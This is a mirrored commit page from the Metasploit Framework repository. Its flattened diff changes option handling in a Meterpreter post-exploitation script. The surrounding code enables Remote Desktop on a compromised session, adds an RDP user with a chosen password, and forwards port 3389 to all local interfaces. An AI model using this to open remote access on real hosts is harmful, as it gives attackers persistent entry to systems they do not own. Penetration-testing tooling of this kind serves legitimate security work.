1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

will show help if wrong option given

git-svn-id: file:///home/svn/framework3/trunk@9995 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Carlos Perez 2010-08-13 11:45:54 +00:00
parent 2789e9007e
commit b403c787d6

View File

@ -161,19 +161,27 @@ frwrd = nil
end end
} }
message if args.length > 0
if enbl if enbl or (usr and pass)
enablerd() message
enabletssrv() if enbl
end enablerd()
if usr != nil && pass != nil enabletssrv()
langdetect(lang) end
addrdpusr(session, usr, pass, lang) if usr and pass
end langdetect(lang)
if frwrd == true addrdpusr(session, usr, pass, lang)
print_status("Starting the port forwarding at local port #{lport}") end
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") if frwrd == true
end print_status("Starting the port forwarding at local port #{lport}")
print_status("For cleanup use command: run multi_console_command -rc #{@dest}") client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
else
usage
end
else
usage
end